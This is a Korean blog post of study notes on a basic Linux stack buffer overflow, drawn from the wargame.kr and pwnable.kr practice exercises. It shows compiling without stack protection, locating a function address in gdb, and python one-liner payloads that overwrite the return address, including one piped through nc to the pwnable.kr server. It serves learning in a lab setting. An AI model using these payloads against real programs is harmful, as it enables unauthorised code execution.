일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 파이썬 예시
- 패스트 캠퍼스 #자율주행 #비전
- 파이썬
- 파이썬 채팅
- 리눅스기초#리눅스명령어#리눅스 tail#tail#모의해킹 리눅스
- ROS #spin() #spinOnce() #ROS기초
- QGC#QGrouncControl#GLIB오류
- 파파고 꿀팁
- 파이선 행
- 파이썬 #파이썬프로젝트 #파이썬 예시 #파이썬 파일경로 #파이썬 자동화
- 파이썬 프로젝트
- 통계 #ROC #TPR #FPR #TNR #이진분류 #Accuracy #Recall
- 리눅스#모의해킹#리눅스명령어#head 명령어
- 파이썬 음성파일 텍스트 변환
- pdf 번역
- 크롬오류#크롬검색어자동완성끄기#검색어자동완성오류#검색어자동완성 제거#검색어 노란선#검색어반복입력
- PDF 개행문자
- 파이썬#파이썬경로#파이썬폴더#파이썬디렉토리
- 파이썬 텍스트 변환 #파이썬 공부
- 파이썬 파일 전송
- 파이썬 #
- ROS #Robotics #ROS기초
- 논문번역 꿀팁
- 파파고 번역
- 파이썬 열
- 스트림 암호 one-time-pad 공격#보안#암호
- 파이썬#subprocess#communicate()
- 파이썬 엑셀 파일 읽고 쓰기
- 파이썬 유튜브
- 파이썬 음성인식
개발자비행일지
모의해킹 리눅스 스택 시스템 해킹 기초예제 본문
버퍼오버플로우 기초예제
#wargame.kr의 해킹 튜토리얼을 보고 복습하기 위한 글입니다.
#http://wargame.kr/tutorial/system1,l
1. 버퍼오버플로우 예제 소스 코드 작성을 위해 UBUNTU에서 터미널을 열고 vim 편집기를 사용해서 bof.c 소스코드를 작성한다.
소스코드는 다음과 같다.
해당 소스코드를 리눅스에서 사용하는 메모리 보호기법을 제거하고 컴파일 한다.
$gcc -o bof bof.c -fno-stack-protector
$gdb bof
(gdb)set disassembly-flavor intel
(gdb)disass main
우리는 버퍼 오버 플로우를 통해서 foo 함수를 실행시키고 싶다. 이를 위해서는
아래의 그림처럼, func의 ret주소에 foo 함수의 시작 주소를 덮어 씌우면된다.
foo 함수의 시작 주소를 알기 위해서는 야
(gdb) p/x &foo를 통해 알 수 있다. foo의 주소는 0x804843b이다.
다음과 같이 덮어씌우기 위해서 argv[1] 에 "A" 20개와 foo 함수의 시작 주소를 리틀 엔디안 방식에 맞게 담아서 인자로 전달해야 한다. 그러기 위해 백쿼트를 이용해서 파이썬 문자열로 만든 다음 그 결과를 전달해 준다.'
$./bof `python -c "print 'A'*20+"\x3b\x84\x04\x08'"`
[참고]
#https://doitnow-man.tistory.com/42
uffer Over Flow를 수행하기 위해서 실행 파일에 입력을 해야 할때가 필요하다.
이때 공격 코드를 입력하는 방법은 다음과 같다 .
Python을 이용한 Exploit 코드 입력 방법
1) 프로그램에 실행 인자로 넘겨 줄 경우 다음과 강이 사용하면 된다.
./bof `python -c "print 'A'*52+'\xbe\xba\xfe\xca'"`
2) 프로그램 실행 중간에 입력해야 할 경우
(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat) | ./bof
3) nc 를 이용한 Exploit 코드를 입력하는 방법(pwnable.kr bof 문제서 사용된다)
(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
** 중요 포인트 **
python의 -c옵션을 알아 보면 python에서 사용하는 한줄 명령이라고 생각하면된다.
python 명령어 뒤의 cat의 용도는 다음과 같다.
cat을 사용하는 추가 데이터를 붙여서 Exploit 코드를 만들때 사용 할 수 있다.
다음과 같이
()로 묶은 상태에서 Python 스크립트를 이용하면 cat 에서 입력한 내용까지 다 받아드리고 난다음에 문자열이 출력된다
(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat)
()로 묶지 않으면 python 출력 내용에 추가로 데이터를 쓸수 없다.
1) ()로 묶은 경우
[root@client 3]# (python -c "print 'A'*40+'aa'" ;cat) > a.txt
test
^C
[root@client 3]# cat a.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
test
[root@client 3]#
1) ()로 묶지 않은 경우
[root@client 3]# python -c "print 'A'*40+'aa'" ;cat > a.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
test
^C
[root@client 3]# cat a.txt
test
[root@client 3]#
출처: https://doitnow-man.tistory.com/42 [즐거운인생 (실패 또하나의 성공)]
출처: https://doitnow-man.tistory.com/42 [즐거운인생 (실패 또하나의 성공)]
'▶ 모의해킹 공부' 카테고리의 다른 글
모의해킹 쉘코드 만들기 기본 (0) | 2020.02.21 |
---|---|
모의해킹 시스템해킹 리눅스 RET Overwrite-1 (0) | 2020.02.20 |
모의해킹 시스템 해킹 리눅스 ELF 동적분석2 (0) | 2020.02.20 |
모의해킹 시스템해킹 리눅스 ELF 동적분석1 (0) | 2020.02.20 |
모의해킹_시스템 해킹 기초 (0) | 2020.02.18 |